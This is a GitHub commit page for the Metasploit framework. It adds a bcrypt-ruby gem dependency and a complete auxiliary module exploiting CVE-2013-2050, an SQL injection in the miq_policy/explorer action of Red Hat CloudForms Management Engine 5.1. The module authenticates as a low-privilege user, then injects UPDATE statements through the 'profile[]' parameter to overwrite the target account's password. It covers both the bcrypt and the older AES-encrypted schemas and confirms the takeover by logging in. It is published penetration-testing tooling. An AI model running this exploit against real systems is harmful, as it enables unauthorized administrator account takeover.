Skip to content

Commit f21d666

Browse files
committed
2 parents 8dfa2e6 + 0eac170 commit f21d666

File tree

3 files changed

+179
-0
lines changed

3 files changed

+179
-0
lines changed

Gemfile

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,8 @@ source 'https://rubygems.org'
22

33
# Need 3+ for ActiveSupport::Concern
44
gem 'activesupport', '>= 3.0.0'
5+
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
6+
gem 'bcrypt-ruby'
57
# Needed for some admin modules (scrutinizer_add_user.rb)
68
gem 'json'
79
# Needed by msfgui and other rpc components

Gemfile.lock

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ GEM
1313
i18n (~> 0.6, >= 0.6.4)
1414
multi_json (~> 1.0)
1515
arel (3.0.2)
16+
bcrypt-ruby (3.1.2)
1617
builder (3.0.4)
1718
database_cleaner (1.1.1)
1819
diff-lcs (1.2.4)
@@ -61,6 +62,7 @@ PLATFORMS
6162
DEPENDENCIES
6263
activerecord
6364
activesupport (>= 3.0.0)
65+
bcrypt-ruby
6466
database_cleaner
6567
factory_girl (>= 4.1.0)
6668
fivemat (= 1.2.1)
Lines changed: 175 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,175 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'bcrypt'
8+
require 'digest'
9+
require 'openssl'
10+
11+
class Metasploit4 < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize
16+
super(
17+
'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection',
18+
'Description' => %q{
19+
This module exploits a SQL injection vulnerability in the "explorer"
20+
action of "miq_policy" controller of the Red Hat CloudForms Management
21+
Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier) by
22+
changing the password of the target account to the specified password.
23+
},
24+
'Author' => 'Ramon de C Valle',
25+
'License' => MSF_LICENSE,
26+
'References' =>
27+
[
28+
['CVE', '2013-2050'],
29+
['CWE', '89'],
30+
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062']
31+
],
32+
'DefaultOptions' =>
33+
{
34+
'SSL' => true
35+
},
36+
'DisclosureDate' => 'Nov 12 2013'
37+
)
38+
39+
register_options(
40+
[
41+
Opt::RPORT(443),
42+
OptString.new('USERNAME', [true, 'Your username']),
43+
OptString.new('PASSWORD', [true, 'Your password']),
44+
OptString.new('TARGETUSERNAME', [true, 'The username of the target account', 'admin']),
45+
OptString.new('TARGETPASSWORD', [true, 'The password of the target account', 'smartvm']),
46+
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
47+
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
48+
], self.class
49+
)
50+
end
51+
52+
def password_for_newer_schema
53+
# Newer versions use ActiveModel's SecurePassword.
54+
BCrypt::Password.create(datastore['TARGETPASSWORD'])
55+
end
56+
57+
def password_for_older_schema
58+
# Older versions use ManageIQ's MiqPassword.
59+
if datastore['TARGETPASSWORD'].empty?
60+
'v1:{}'
61+
else
62+
password = '1234567890123456'
63+
salt = '6543210987654321'
64+
cipher = OpenSSL::Cipher.new('AES-256-CBC')
65+
cipher.encrypt
66+
cipher.key = Digest::SHA256.digest("#{salt}#{password}")[0...32]
67+
encrypted = cipher.update(datastore['TARGETPASSWORD']) + cipher.final
68+
"v1:{#{Rex::Text.encode_base64(encrypted)}}"
69+
end
70+
end
71+
72+
def password_reset?
73+
print_status("Trying to log into #{target_url('dashboard')} using the target account...")
74+
res = send_request_cgi(
75+
'method' => 'POST',
76+
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
77+
'vars_post' => {
78+
'user_name' => datastore['TARGETUSERNAME'],
79+
'user_password' => datastore['TARGETPASSWORD']
80+
}
81+
)
82+
83+
if res.nil?
84+
print_error('No response from remote host')
85+
return false
86+
end
87+
88+
if res.body =~ /"Error: (.*)"/
89+
print_error($1)
90+
false
91+
else
92+
true
93+
end
94+
end
95+
96+
def run
97+
print_status("Logging into #{target_url('dashboard')}...")
98+
res = send_request_cgi(
99+
'method' => 'POST',
100+
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
101+
'vars_post' => {
102+
'user_name' => datastore['USERNAME'],
103+
'user_password' => datastore['PASSWORD']
104+
}
105+
)
106+
107+
if res.nil?
108+
print_error('No response from remote host')
109+
return
110+
end
111+
112+
if res.body =~ /"Error: (.*)"/
113+
print_error($1)
114+
return
115+
else
116+
session = $1 if res.headers['Set-Cookie'] =~ /_vmdb_session=(\h*)/
117+
118+
if session.nil?
119+
print_error('Failed to retrieve the current session id')
120+
return
121+
end
122+
end
123+
124+
# Newer versions don't accept POST requests.
125+
print_status("Sending password-reset request to #{target_url('miq_policy', 'explorer')}...")
126+
send_request_cgi(
127+
'cookie' => "_vmdb_session=#{session}",
128+
'method' => 'GET',
129+
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
130+
'vars_get' => {
131+
'profile[]' => value_for_newer_schema
132+
}
133+
)
134+
135+
if password_reset?
136+
print_good('Password reset successfully')
137+
return
138+
else
139+
print_error('Failed to reset password')
140+
end
141+
142+
print_status("Sending (older-schema) password-reset request to #{target_url('miq_policy', 'explorer')}...")
143+
send_request_cgi(
144+
'cookie' => "_vmdb_session=#{session}",
145+
'method' => datastore['HTTP_METHOD'],
146+
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
147+
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
148+
'profile[]' => value_for_older_schema
149+
}
150+
)
151+
152+
if password_reset?
153+
print_good('Password reset successfully')
154+
else
155+
print_error('Failed to reset password')
156+
end
157+
end
158+
159+
def target_url(*args)
160+
(ssl ? 'https' : 'http') +
161+
if rport.to_i == 80 || rport.to_i == 443
162+
"://#{vhost}"
163+
else
164+
"://#{vhost}:#{rport}"
165+
end + normalize_uri(target_uri.path, *args)
166+
end
167+
168+
def value_for_newer_schema
169+
"1 = 1); UPDATE users SET password_digest = '#{password_for_newer_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --"
170+
end
171+
172+
def value_for_older_schema
173+
"1 = 1); UPDATE users SET password = '#{password_for_older_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --"
174+
end
175+
end

0 commit comments

Comments
 (0)